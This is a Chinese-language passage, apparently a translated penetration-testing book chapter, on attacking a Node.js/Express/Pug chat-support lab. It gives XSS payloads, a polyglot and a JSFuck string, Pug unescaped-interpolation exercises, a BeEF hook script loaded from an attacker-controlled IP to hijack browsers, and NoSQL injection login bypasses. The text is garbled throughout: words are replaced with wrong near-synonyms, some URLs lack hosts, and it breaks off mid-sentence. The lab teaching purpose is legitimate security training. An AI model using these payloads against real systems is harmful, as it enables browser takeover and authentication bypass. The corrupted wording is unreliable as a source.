相称快 单线程 JavaScript 环境,可以充任落寞的 Web 应用步调劳动器 Node.js 不是条约;它是一个用 JavaScript 编写的 Web 劳动器 NPM 代码仓库领有近50万个免费、可重用的 Node.js 代码包,这使它成为寰宇上最大的包管制器随着 Node.js 在昔时几年变得如斯流行,对于渗入测试东说念主员/红队成员来说,清醒应该寻找什么突破口以及如何障碍这些应用步调詈骂常浩瀚的。举例,一位研究东说念主员发现,弱 NPM 凭证使他能够获取 13% 的 NPM 包的剪辑和发布权限。通过依赖链,瞻望有52% 的 NPM 包是易受障碍的。[https://www.bleepingcomputer.com/news/security/52-percent-of-all-javascript-npm-packages-could-have-been-hacked-via-weak-credentials/]
鄙人面的示例中,咱们的实验室将使用 Node.js 作为应用步调的基础,它将使用 Express 框架作为咱们的 Web 劳动器。然后,咱们将把 Pug 模板引擎添加到咱们的 Express 框架中。这雷同于咱们现在在新开发的应用步调中通常见到的东西。
Express 是一个用于 Node.js 的极简 Web 框架。Express 为 Web 和移动应用步调提供了一组坚强的功能,因此你无需进行大批责任。使用名为 Middlewares 的模块,你可以添加第三方认证或劳动,如 Facebook 身份验证或 Stripe 支付劳动。
Pug,谨慎称号为 Jade,是一个劳动器端模板引擎,你可以(但不是必须)与 Express 一说念使用它。Jade 用于在劳动器上以编程方式生成 HTML 页面并将其发送给客户机。
让咱们开首障碍 CSK 并启动聊天救助系统臆造机。
Cyber Space Kittens:聊天救助系统你偶然发现了面向外部蚁集的 CSK 聊天救助系统。当你逐渐筛选扫数页面并了解底层系统时,你会在应用步调中寻找其弊端。你需要在劳动器中找到第一个进口点,以便可以转入入侵坐蓐环境。
你最先浏览了扫数疏忽扫描步和谐 Web 应用步调扫描步调的呈报结果,然则一无所获。看起来这家公司通常运行常见的疏忽扫描器并修补了大部分问题。现在入侵的错误突破口在于代码问题、诞妄成立和逻辑劣势。你还扎眼到此应用步调正在运行 NodeJS,这是一种最近很流行的语言。
接济你的 Web 应用步调障碍机器天然对于红队要靠近的 Web 应用步调,并莫得什么好意思满的入侵方法,然则你需要的一些基本器具包括:
用浏览器武装我方。许多浏览器的行动齐相称不同,尤其是复杂的 XSS 遁藏机制:
Firefox(我的最爱) Chrome SafariWappalyzer:一种跨平台的实用步调,可以揭示网站上使用的时期。它可以检测内容管制系统,电子商务平台,Web 框架,劳动器软件,分析器具等等。
https://wappalyzer.com/BuiltWith:一个网站分析器具。在查找页面时,BuiltWith 会复返它在页面上可以找到的扫数时期。BuiltWith 的主义是匡助开发东说念主员,研究东说念主员和瞎想东说念主员找出正在使用的时期页面,这可以匡助他们决定我方领受哪些时期。
https://builtwith.com/Retire.JS:扫描 Web 应用步调所使用的易受障碍的 JavaScript 库。Retire.js 的主义是匡助你检测具有已知疏忽的版块的使用情况。
https://chrome.google.com/webstore/detail/retirejs/moibopkbhjceeedibkbkbchbjnkadmom?Burp Suite(约350好意思元):天然这个贸易器具有点贵,但统统价廉物美,对于渗入测试东说念主员和红队队员来说。它的公正来自附加组件,模块化瞎想和用户开发基础。如果你买不起 Burp,OWASP ZAP(免费)是一个很好的替代品。
分析 Web 应用步调在咱们进行任何类型的扫描之前,尝试清醒底层代码和基础结构相称浩瀚。咱们怎样才能知说念后端运行的是什么代码?咱们可以使用 Wappalyzer,BuiltWith 或 Google Chrome 浏览器观望。鄙人面的图像中,当加载聊天应用步调时,咱们可以在 Chrome 中看到 HTTP 标头具有 X-Powered By: Express。咱们还可以在Wappalyzer 中看到应用步调正在使用 Express 和 Node.js。
盲目障碍网站之前了解主义应用步调可以匡助你提供更好的念念路。这也有助于入侵可能有 WAF 的主义站点,允许你使用更多的障碍手法。
蚁集探伤在之前的书中,咱们详备先容了如何使用 Burp Suite 以及如何对站点进行渗入测试。咱们将跳过许多接济基础常识,并将更多元气心灵放在障碍网站上。
在这一丝上,咱们将假设你还是接济好了 Burp Suite(免费或付费),况兼你使用的是本书的 Kali 镜像。一朝咱们了解了底层系统,咱们就需要识别扫数端点。咱们仍然需要运行与之前同样的探伤器具。
Burp Suite 爬虫:在免费和付费版块中,Burp Suite 齐有一个很棒的爬虫器具。 内容探伤:如果你使用的是付费版块的 Burp Suite,那么最受迎接的探伤器具之一即是 Discover Content。这是一个智能高效的器具,可以查找目次和文献。你还可以为扫描指定多种不同的成立。 主动扫描:运行扫数参数的自动疏忽扫描并测试多个 Web 疏忽。 OWASP ZAP 雷同于 Burp,但完全开源和免费。具有雷同的探伤和主动扫描功能。 Dirbuster 一个很久以前就被开发出的旧器具,用于发现 Web 应用步调的文献/文献夹,但现在仍然可以成功的完成责任。 主义网址::3000 字典: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt GoBuster 相称轻量级、快速的目次和子域名爆破器具 gobuster -u :3000 -w /opt/SecLists/Discovery/Web-Content/raft-small-directories.txt -s 200,301,307 -t 20你的字典列表相称浩瀚。我最心爱使用的一个汇总的字典列表是一个名为 raft 的旧字典,它是许多开源样子的蚁合。你可以在这里找到这些和其他有价值的字典列表:https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content(已包含在本书的 Kali 镜像中)。
现在既然咱们还是完成了详细,让咱们进行一些障碍吧。从红队的角度来看,咱们正在寻找可以主动障碍的疏忽,并为咱们提供最大的匡助。如果咱们正在进行评估或渗入测试,咱们可能会呈报疏忽扫描步调中的 SSL 问题,默许 Apache 页面或其他疏忽扫描步调发现的不可应用的疏忽等。然则,在咱们的红队责任中,咱们可以完全忽略这些,并专注于能使咱们得回高等造访权限,shell 或 转储 PII 的障碍。
XSS 跨站剧本障碍在这一丝上,咱们齐也曾见过并应用过跨站点剧本障碍(XSS)。使用传统的 XSS 障碍测试网站上的每个变量的方式:<script>alert(1)</script>,对于疏忽赏金平台来说可能很有用,但咱们可以作念更多吗?咱们可以使用哪些器具和方法来更好地应用这些障碍?
咱们齐知说念 XSS 障碍是客户端障碍,允许障碍者创建特定的 Web 苦求从而将坏心代码注入响应中。这日常可以通过客户机和劳动器端的适当输入验证来拓荒,但这毫不是那么容易。为什么这样说?因为 XSS 疏忽由多种原因形成的。从编码不程序到不睬解框架,有时候应用步调变得过于复杂,就很难清醒一个输入点的安全性。
因为只是弹窗确乎莫得确凿的危害,让咱们从一些基本类型的 XSS 障碍开首:
Cookie 窃取XSS: 强制下载文献: 重定向用户: 其他剧本以启用键盘纪录器,拍照等: -payloads.com/payloads-list.html?c#category=capture 经过污染的 XSS payload 和 XSS Polyglot现在,圭臬的 XSS payload 日常仍然有用,但咱们确乎会遭遇一些应用步调过滤字符或应用步调有 WAF 防护的情况。有两个很好的资源可以匡助你开首制作污染的 XSS payload 障碍:
https://github.com/foospidy/payloads/tree/master/other/xss https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet有时在行动期间,你可能会遭遇毛糙的 XSS 过滤器,它们会查找像 <script> 这样的字符串。污染 XSS payload 是一种采纳,但一定要扎眼并非扫数 JavaScript payload 齐需要打开和关闭 <script> 标签。有一些 HTML 事件属性在触发时践诺 JavaScript( https://www.w3schools.com/tags/ref_eventattributes.asp )。这意味着任何专门针对 Script 标签的规则齐是无效的。举例,下列这些践诺 JavaScript 的 HTML 事件属性就不使用 <script> 标签:
<b onmouseover=alert('XSS')>Click Me!</b> <svg onload=alert(1)> <body onload="alert('XSS')"> <img src="" onerror=alert(document.cookie);>你可以通过造访应用步调来尝试 CSK 应用步调中的每个 HTML 实体障碍::3000/ (牢记修改 /etc/host 文献以指向与臆造机 IP 的聊天)。进入后,注册一个帐户,登录应用步调,然后转到聊天功能( :3000/chatchannel/1 )。尝试不同的实体障碍和经过污染的 payload。
XSS 的其他优秀资源:
第一个是由 @jackmasa 制作的念念维导图。这是一个很棒的文档,它根据输入点的位置来解析不同的 XSS payload。天然不再在 JackMasa GitHub 页面上,然则这里有一个副本。
另一个很好的资源,谋划哪些浏览器容易受到哪些 XSS payload 的影响:https://html5sec.org/ 。
如你所见,尝试在应用步调上查找每一个 XSS 有时是很烦东说念主的。这是因为易受障碍的参数受到代码功能、不同类型的 HTML 标记、应用步调类型和不同类型的过滤的影响。试图找到驱动 XSS 的弹出窗口可能需要很永劫辰。如果咱们可以尝试将多个 payload 连气儿到单个苦求中,该如何办?
临了一种类型的 payload 称为 Polyglot。Polyglot payload 领受许多不同类型的 payload 和污染时期,并将它们编译成一次障碍。这适用于想使用自动剧本查找 XSS、时辰有限的的疏忽赏金样子,或者只是想要快速发现输入验证存在哪些问题等情况。
因此,咱们可以像( )这样构建一个 Polyglot,而不是普通的 <script>alert(1)</script>:
/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )// //</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
如果你看一下上头的 payload,此障碍试图不使用尖括号,点和斜线的传统障碍代码;践诺 onclick XSS;关闭多个标签;临了尝试一个 onload XSS。这些类型的障碍使 Polyglots 在识别 XSS 方面相称有用和高效。你可以在此处阅读关系这些 Polyglot XSS 的更多信息:https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot 。
如果你想测试和使用不同的 polyglots,可以从易受障碍的 XSS 页面( :3000/xss )或通盘聊天应用步调开首。
BeEF
浏览器疏忽应用框架( )或简称 BeEF 将 XSS 障碍耕作到另一个头绪。此器具将 JavaScript payload 注入受害者的浏览器,该浏览器会感染用户的系统。这会在受害者的浏览器上创建一个 C2通说念,用于 JavaScript 后期应用。
对红队来说,BeEF 是一个很好的器具,可用于入侵行为,追踪用户,拿获凭证,践诺点击劫持,使用 Tabna 进行障碍等等。如果不在障碍期间使用,BeEF 亦然一个很好的器具,可以展示 XSS 疏忽的坚强功能。这也有助于更复杂的障碍,咱们将在后头的 Blind XSS 末节下谋划。
BeEF 分为两部分:一部分是劳动器,另一部分是障碍 payload。要启动劳动器:
在你的障碍者 Kali 主机上启动 BeEF
打开终局 beef-xss 使用 beef:beef 观望 :3000/hook.js 完整 payload 文献: <script src="http://<Your IP>:3000/hook.js"></script>观望位于 :3000/hook.js 上的 hook.js 文献,你应该会看到雷同于长污染的 JavaScript 文献的内容。这是结合受害者复返呐喊和收敛劳动器的客户端 payload 。
一朝在主义应用步调上识别出 XSS,而不是原始的 alert(1) 形式的 payload,就可以修改 <script src ="http://<YourIP>:3000/hook.js"></script> payload 来应用此疏忽。一朝你的受害者堕入此 XSS 陷坑,将导致他们的浏览器结合回你这边并成为你的僵尸蚁集的一部分。
BeEF 救助哪些类型的后渗入障碍?一朝你的受害者受到你的收敛,你就可以作念任何 JavaScript 可以作念的事情。你可以通过 HTLM5打开相机并拍摄受害者的像片,你可以在屏幕上骄贵褪色图以拿获凭证,也可以将其重定向到坏心网站以践诺坏心软件。
以下是 BeEF 从 XSS 障碍中引发大批问题的快速演示:
最先,确保你的 BeEF 劳动器在障碍者策动机上运行。在咱们的易受障碍的聊天救助系统的应用步调中,你可以造访 :3000/xss 并在老到2的字段中输入你的 payload:
<script src=":3000/hook.js"></script>一朝你的受害者结合到你的僵尸蚁集,你就可以完全收敛他们的浏览器。你可以根据设备,浏览器和主义机器启用的功能进行各式障碍。通过社会工程学演示 XSS 影响力的一个好方法是通过 Flash 更新领导将坏心软件推送到他们的策动机。
一朝践诺,将在受害者的策动机上骄贵弹出窗口,强制他们装配更新,其中包含咱们准备的坏心软件。
我建议花一些时辰熟悉扫数 BeEf 的后渗入模块,并了解 JavaScript 的坚强功能。由于咱们会收敛浏览器,因此咱们必须弄真切如安在红队行为中使用它。一朝你通过 XSS 感染了受害者,你还想作念些什么?咱们将在后头的“从 XSS 到 shell”部分谋划这个问题。
Blind XSS 疏忽Blind XSS 疏忽很少被谋划,因为它是需要耐烦的游戏。什么是 Blind XSS 疏忽?正如障碍的称号所示意的那样,障碍者/用户看不到存储的 XSS payload 的践诺(无回显),唯独管制员或后台职工才能看到。由于其障碍后端用户的才调,是以这种障碍可能危害很大,但尽管如斯,它照旧通常被渐忘。
举例,咱们假设某个应用步调有一个“研究咱们”页面,允许用户向管制员提供研究信息,以便以后研究。由于该数据的结果只可由管制员手动观望而不是用户苦求观望,是以如果应用步调易受 XSS 障碍,障碍者不会立即看到他们的 “alert(1)” 障碍的回显。在这些情况下,咱们可以使用 XSSHunter 来匡助咱们验证 Blind XSS 疏忽。
XSSHunter 的责任旨趣是,当咱们的 JavaScript payload 践诺时,它将截取受害者屏幕(他们正在观望确当前页面)的屏幕截图,并将该数据发送回 XSSHunter 的站点。发生这种情况时,XSSHunter 将发送一个警报,见告咱们的 payload 已践诺并向咱们提供扫数详备信息。咱们现在可以且归创建一个坏心 payload 并从头进行咱们的障碍。
XSS Hunter:
禁用任何代理(即 Burp Suite) 在 https://xsshunter.com 创建帐户 登录 https://xsshunter.com/app 转到 Payload 模块以得回你的 Payload 修改 payload 以稳妥你的障碍或使用它构建 Polyglot 检查 XSS hunter 以观望 payload 践诺情况 基于 DOM 的 XSS对反射 XSS 和存储 XSS 的清醒相对毛糙。咱们还是知说念,如果劳动器莫得为用户/数据库提供鼓胀的输入/输出验证,咱们的坏心剧本代码就和会过源代码呈现给用户。关联词,在基于 DOM 的 XSS 中,它略有不同,这导致了一些常见的误解。因此,让咱们花些时辰专注于基于 DOM 的 XSS。
当障碍者可以主宰 Web 应用步调的客户端剧本时,就可以使用基于文档对象模子(DOM)的 XSS。如果障碍者可以将坏心代码注入 DOM 并由客户端的浏览器读取,则可以在从 DOM 读回数据时践诺 payload。
DOM 究竟是什么?文档对象模子(DOM)是 HTML 属性的一个秉性。由于你的浏览器不睬解 HTML,因此它会使用将 HTML 调换为 DOM 模子的解释器。
让咱们在聊天救助网站上试一下吧。观望易受障碍的 Web 应用步调,你应该能够看到聊天救助网站受到 XSS 障碍的进程:
创建一个帐户 登录 去聊天 尝试 <script>alert(1)</script>,然后尝试一些更落拓的 XSS 障碍!在咱们的示例中,咱们在劳动器端有 Node.js,socket.io(Node.js 的库)在用户和劳动器之间接济 Web 套接字,客户端 JavaScript 和咱们的坏心 msg.msgText JavaScript。正如你鄙人面和页面的源代码中看到的那样,你不会像在圭臬的反射/存储的 XSS 中那样径直援用你的“弹窗” payload。在这个例子里,咱们将得知唯一指示可以调用 payload 的位置来自 msg.name 援用。这有时会使咱们很难细目践诺 XSS payload 的位置,或者是否需要冲破任何 HTML 标记。
NodeJS 中的高等 XSSXSS 可以络续用于障碍的一个浩瀚原因是,仅靠过滤标签或某些字符堤防它的话要困难得多。当 payload 特定于某种语言或框架时,XSS 很难堤防。由于每种语言在此疏忽方面齐有其独到之处,因此 NodeJS 也不会有什么不同。
在高等 XSS 部分中,你将学习一些特定语言的 XSS 疏忽阐述作用的示例。咱们的 NodeJS Web 应用步调将使用一种更常见的 Web 堆栈和成立。此斥逐包括 Express Framework 和 Pug 模板引擎。浩瀚的是要扎眼一丝,默许情况下,Express 确乎莫得内置的 XSS 防护,除非通过模板引擎进行渲染。当使用像 Pub 这样的模板引擎时,有两种常见的方法可以找到 XSS 疏忽:(1)通过字符串插值,以及(2)缓冲代码。
模板引擎有一个字符串插值的倡导,这是一种界说“字符串变量的占位符”的奇特方式。举例,让咱们将字符串分配给 Pug 模板样子的变量:
- var title = "This is the HTML Title" - var THP = "Hack the Planet" h1 #{title} p The Hacker Playbook will teach you how to #{THP}
请扎眼,#{THP} 是 THP 之前分配的变量的占位符。咱们日常会在电子邮件分发音书中看到这些模板。你是否收到过来自 ${first_name}...的自动化系统发送的电子邮件而不是你的真实名字?这恰是模板引擎的用途。
当上头的模板代码呈现为 HTML 时,它将如下所示:
红运的是,在这种情况下,咱们使用 #{} 字符串插值,这是 Pug 插值的转义版块。如你所见,通过使用模板,咱们可以创建可重用性相称高的代码并使模板相称轻量级。
Pug 救助转义和非转义字符串插值。荫藏和未转义之间的区别是什么?好吧,使用转义字符串插值将对 < ,> ,' 和 "之类的字符进行 HTML 编码。这将有助于向用户提供输入验证。如果开发东说念主员使用非转义字符串插值,这日常会导致 XSS 疏忽。
此外,字符串插值(或变量插值,变量替换或变量推广)是评估包含一个或多个占位符的字符串翰墨的过程,从而产生一个结果,其中占位符替换为其对应的值。[https://en.wikipedia.org/wiki/String_interpolation]
在 Pug 荫藏和非转义字符串插值( https://pugjs.org/language/interpolation.html ): !{} - 非转义字符串插值 #{} - 转义字符串插值 * 天然这是转义的,但如果径直通过 JavaScript 传递它仍然可能容易受到 XSS 的障碍 在 JavaScript 中,未转义的缓冲区代码以“!=”开始。“!=”之后的任何内容齐将自动作为 JavaScript 践诺。 [https://pugjs.org/language/code.html#unescaped-buffered-code] 临了,只须允许插入原始 HTML,就有可能存在 XSS。在现实寰宇中,咱们还是看到许多易受 XSS 障碍的案例,基于上评释明的方法,开发东说念主员健忘了他们所处的高下文以及输入的参数的传递位置。让咱们望望咱们易受障碍的聊天救助系统应用步调中的一些示例。转到臆造机上的以下 URL::3000/xss。咱们将渐渐完成这些老到中的每一个,以了解 NodeJS/Pug XSS。
老到1:( :3000/xss )
在这个例子中,咱们将字符串插值转义为段落标记。这是不可应用的,因为咱们在 HTML 段落高下文中使用了正确的转义字符串插值标记。
转到 :3000/xss ,然后单击老到#1 Pug 模板源代码 p No results found for #{name1} 尝试输入并提交以下 payload : <script>alert(1)</script> 单击老到#1并观望无结果输出 观望 HTML 响应(观望页面的源代码): <script>alert(1)</script>点击提交后,观望页面源代码(ctrl+u)并搜索“alert”一词。你将看到咱们的 payload 中的特殊字符被调换为 HTML 实体。剧本标签仍可通过咱们的浏览器在咱们的网站上看到,但不会呈现为 JavaScript。这种字符串插值的使用是正确的,况兼执行上莫得办法通过这种情况来找到 XSS。这个责任评分会是 A+!让咱们看一些恶运的例子。
老到2
在这个例子中,咱们在段落标记顶用 !{} 示意非转义字符串插值。这很容易受到被全心瞎想的 XSS 障碍。任何基本的 XSS payload 齐会触发此操作,举例:<script>alert(1)</script>
打开老到2
Pug 模板源代码
p No results found for !{name2}尝试输入 payload:
<script>alert(1)</script>复返:
<script>alert(1)</script>点击提交后,咱们应该看到弹出窗口。你可以通过观望页面源代码并搜索“alert”进行验证。
因此,使用未提交用户输入的非转义字符串插值(!{name2})会导致许多费事。这是一种不好的作念法,不应该用于用户提交的数据。因为咱们输入的任何 JavaScript 齐将在受害者的浏览器上践诺。
老到3
这个例子中,咱们在动态生成的行内 JavaScript 中加入了转义后的字符串。这意味着咱们成功了,因为它还是荫藏了,不是吗?由于咱们所处的代码高下文,这个例子很容易受到障碍。咱们将在 Pug 模板中看到,在咱们的转义插值之前,咱们执行上是在一个 script 标签内。因此,任何 JavaScript 齐会自动践诺。更棒的是,因为咱们位于 Script 标签内,是以咱们不需要将 <script> 标签用作 payload 的一部分。咱们可以使用径直的 JavaScript 代码,举例:alert(1):
打开老到3
Pug 模板源代码
script. var user3 = #{name3}; p No results found for #{name3}此模板将在 HTML 中进行转义,如下所示:
<script> <p>No results found for [escaped user input]</p> </script>尝试输入 payload:
1;alert(1);点击提交后,咱们应该看到弹出窗口。你可以通过观望页面源代码并搜索“alert”进行验证。
趁便说一句,底下是一个小小的改变,正确的方法是在插值周围添加引号:
Pug 模板源代码 script. var user3="#{name3}"老到4
在这个例子中,咱们有 Pug 非转义代码,由 != 示意,因为莫得转义,是以它很容易受到 XSS 的障碍。因此,在这种情况下,咱们可以对输入字段使用毛糙的 <script>alert(1)</script> 形式障碍。
Pug 模板源代码: p != 'No results found for '+name4 尝试输入 payload: <script>alert(1)</script> 点击提交后,咱们应该看到弹出窗口。你可以通过观望页面源代码并搜索“alert”进行验证。老到5
假设咱们得到一个使用转义字符串插值和某种类型的过滤的应用步调。鄙人面的老到中,咱们在 NodeJS 劳动器中践诺规则最小的黑名单过滤剧本,删除“<”,“>”和“alert”等字符。然则,他们再次诞妄地将咱们的转义字符串插值放在 script 标签中。如果咱们可以在那里应用 JavaScript,咱们就可以发现一个 XSS:
打开老到5 Pug 模板源代码 name5 = req.query.name5.replace(/[;’"<>=]|alert/g,"") script. var user3 = #{name5}; 尝试输入 payload 你可以尝试 alert(1),但由于过滤器不起作用。你也可以尝试像<script>alert(1)</script>这样的东西,但转义代码和过滤器会阻拦咱们。如果咱们的确想得回能应用 alert(1)的 payload,咱们该如何办? 咱们需要弄真切如何绕过过滤器来插入原始 JavaScript。请记着,JavaScript 功能相称坚强,况兼具有许多功能。咱们可以应用此功能来提供一些新颖的 payload。绕过这些过滤器的一种方法是使用新颖的 JavaScript 示意方法。这可以通过名为 的站点创建。如下所示,通过使用括号,括号,加号和惊羡号,咱们可以从头创建 alert(1)。 JSF*ck Payload:[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
如你所知,许多浏览器已开首包含 XSS 保护机制。咱们以至可以使用这些 payload 来绕过某些浏览器保护。尝试在 Kali 之外的真实浏览器中使用它们,举例 Chrome。
在复杂的应用步调上触发 XSS 并阻止易。很容易淡薄或误解框架如何处理输入和输出。因此,在为 Pug/NodeJS 应用步调践诺源代码审查时,在源代码中搜索 !{,#{ 或 ${ 有助于可能触发 XSS 的位置。了解高下文,以及是否需要在该高下文中进行转义,这是至关浩瀚的,咱们将在以下示例中看到。
尽管这些障碍特定于 Node 和 Pug,但每种语言齐存在针对 XSS 和输入验证的问题。你将无法运行疏忽扫描步调或 XSS 模糊测试器具并找到扫数 XSS 疏忽。但你确乎需要了解所使用的语言和框架。
从 XSS 到 shell我通常遭遇的一个问题是,我如何通过 XSS 获取 Shell?尽管有许多不同的方法可以作念到这一丝,但咱们日常会发现,如果咱们可以让用户在内容管制系统(CMS)或雷同系统中得回管制员的 XSS,那么这可能会导致系统完全受损。可以在这里找到 Hans-Michael 完整的演练示例和代码:https://github.com/Varbaek/xsser 。 Hans-Michael 提供了一些对于重建 XSS 到 RCE 障碍的精彩示例和视频。
我心爱使用触及应用 JavaScript 功能的自界说红队障碍。咱们知说念 JavaScript 相称坚强,咱们在 BeEF(浏览器开发框架)中看到过这样的功能。因此,咱们可以应用扫数这些功能来践诺受害者不知情的障碍。这个 payload 会作念些什么?障碍的一个示例是让受害者策动机上运行的 JavaScript XSS payload 获取受害者的里面(天然)IP 地址。然后,咱们可以获取其 IP 地址并开首使用咱们的 payload 扫描其里面蚁集。如果咱们发现一个允许在莫得身份验证的情况下就可以登入的 Web 应用步调,咱们就可以向该劳动器发送 payload。
举例,咱们的主义可能是 Jenkins 劳动器,咱们知说念如果可以未经身份验证登录的话,险些可以完成长途代码践诺。要观望 XSS 与 Jenkins 入侵的完整演练,请参阅第5章 - 应用社会工程障碍内网 Jenkins。
NoSQL 注入在前两本书中,咱们花了绝顶多的时辰学习如何进行 SQL 注入和使用 SQLMap。除了对 Burp Suite 的一些污染和集成之外,本书对比上本书莫得太大变化。相背,我想深入研究 NoSQL 注入,因为这些数据库变得越来越普遍。
MySQL,MSSQL 和 Oracle 等传统 SQL 数据库依赖于关总共据库中的结构化数据。这些数据库是关系型的,这意味着一个表中的数据与其他表中的数据关系。这样可以减弱践诺查询,举例“列出扫数在昔时30天内购买东西的客户”。对这些数据的要求是,数据的样子必须在通盘数据库中保持一致。NoSQL 数据库由日常不死守表格/关系模子的数据构成,如 SQL 查询数据库中所示。这些称为“非结构化数据”(如图片,视频,应酬媒体)的数据并不适用于咱们的大批采集数据。
NoSQL 功能:
NoSQL 数据库的类型:Couch/MongoDB 非结构化数据 水平化增长在传统的 SQL 注入中,障碍者会尝试破碎 SQL 查询语句并在劳动器端修改查询语句。使用 NoSQL 注入,障碍可以在应用步调的其他区域中践诺,而不是在传统的 SQL 注入中践诺。此外,在传统的 SQL 注入中,障碍者会使用一个标记来发起障碍。在 NoSQL 注入中,在NoSQL注入中,日常存在将字符串解析或评估为NoSQL调用的疏忽。
NoSQL 注入中的疏忽日常在以下情况下发生:(1)端点接受的 JSON 数据是从 NoSQL 数据库中苦求的,以及(2)咱们能够使用 NoSQL 比较运算符操作查询来调动 NoSQL 查询。
NoSQL 注入的一个常见例子是注入雷同的东西:[{"$gt":""}]。这个 JSON 对象基本上是说运算符($gt)大于 NULL("")。由于逻辑上一切齐大于 NULL,因此 JSON 对象成为一个确凿正确的语句,允许咱们绕过或注入 NoSQL 查询。这绝顶于 SQL 注入寰宇中的[' or 1=1—]。在 MongoDB 中,咱们可以使用以下条件运算符之一:
(>)大于 - $gt (<)小于 - $lt (>=)大于等于 - $gte (<=)小于等于 - $lte障碍客户救助系统 NoSQL 应用步调
最先,浏览聊天应用步调上的 NoSQL 责任进程:
在浏览器中,通过 Burp Suite 代理,造访聊天应用步调::3000/nosql
尝试使用任何用户名和密码进行身份验证。观望在 Burp Suite 中的身份验证苦求期间发送的 POST 流量。
在咱们的聊天应用步调中,咱们将看到在对/loginnosql 端点进行身份验证期间,咱们的 POST 数据将包含 { "用户名":"admin","密码": "GuessingAdminPassword" }。在 POST 苦求中使用 JSON 来验证用户是很常见的,然则如果咱们界说我方的 JSON 对象,咱们可能会使用不同的条件语句来生成确凿的语句。这执行上等于传统的 SQLi 1 = 1语句和绕过认证。让咱们望望咱们是否可以将其注入咱们的应用步调。
劳动器源代码
在聊天应用步调的 NoSQL 部分中,咱们将像之前一样看到 JSON 的 POST 苦求。因为作为黑盒测试,咱们也看不到劳动器端的源代码,咱们可以盼望它以某种方式查询 MongoDB 后端,雷同于:
db.collection(collection).find({"username":username,"password":password}).limit(1)...注入 NoSQL 聊天系统
正如咱们从劳动器端源代码中看到的那样,咱们将使用用户提供的用户名/密码来搜索数据库以查找匹配项。如果咱们可以修改 POST 苦求,咱们可能会注入数据库查询。
在浏览器中,通过 Burp Suite 代理,造访聊天应用步调::3000/nosql 在 Burp Suite 中打开“阻拦”,单击“登录”,然后以管制员身份提交用户名,并输入密码 GuessingAdminPassword 代理流量并阻拦 POST 苦求 {"username":"admin","password","GuessingAdminPassword"} --> {"username":"admin","password":{"$gt":""}} 你现在应该可以以管制员身份登录!那么这里发生了什么呢?咱们将字符串 "GuessingAdminPassword" 调动为JSON对象 {"$gt":""},这是 TRUE 语句,因为大于 NULL 的扫数内容齐为 TRUE。这将 POST 苦求调动为 {"username":"admin", "password":TRUE },它自动使苦求为 TRUE 并以管制员身份登录而不需要知说念密码,雷同 SQLi 中的 1 = 1 障碍。
高等 NoSQLi
NoSQL 注入并不崭新,但 NodeJS 章节的目的是展示更新的框架和语言以及如何潜在地引进新的疏忽。举例,Node.js 有一个 qs 模块,它具有将 HTTP 苦求参数调换为 JSON 对象的特定语法。默许情况下,qs 模块在 Express 中使用“body-parser”中间件的一部分。
qs 模块:一个查询字符串解析和字符串化库,加多了一些安全性。[https://www.npmjs.com/package/qs]这是什么兴趣?如果使用 qs 模块,如果在参数中使用括号示意法,POST 苦求将在劳动器端调换为 JSON。因此,看起来像用户名 [value] = admin&password [value] = admin 的 POST 苦求将调换为 {"username":{"value":"admin"},"password":{"value":"admin" }}。现在,qs 模块也将接受并调换 POST 参数以协助 NoSQLi:
举例,咱们可以发出如下的 POST 苦求: username=admin&password[$gt]= 劳动器端苦求调换将调换为: {"username": "admin", "password":{"$gt":""} 现在看起来雷同于传统的 NoSQLi 障碍。现在,咱们的苦求看起来与上一节中的 NoSQLi 同样。让咱们望望这个操作:
转到 :3000/nosql2 打开 Burp Intercept 使用 admin 登录: 修改 POST 参数: username=admin&password[$gt]=&submit=login你应该可以使用 admin 登录了!你已使用 Express Framework 使用的 qs 模块解析器践诺 NoSQL 注入,作为解析器中间件的一部分。但等等,还有更多!如果你不知说念要障碍哪个用户名如何办?咱们可以使用同样的障碍来查找和登录其他帐户吗?
如果不是使用密码的话,那咱们也可以尝试使用用户名吗?在这种情况下,NoSQLi POST 苦求看起来像:
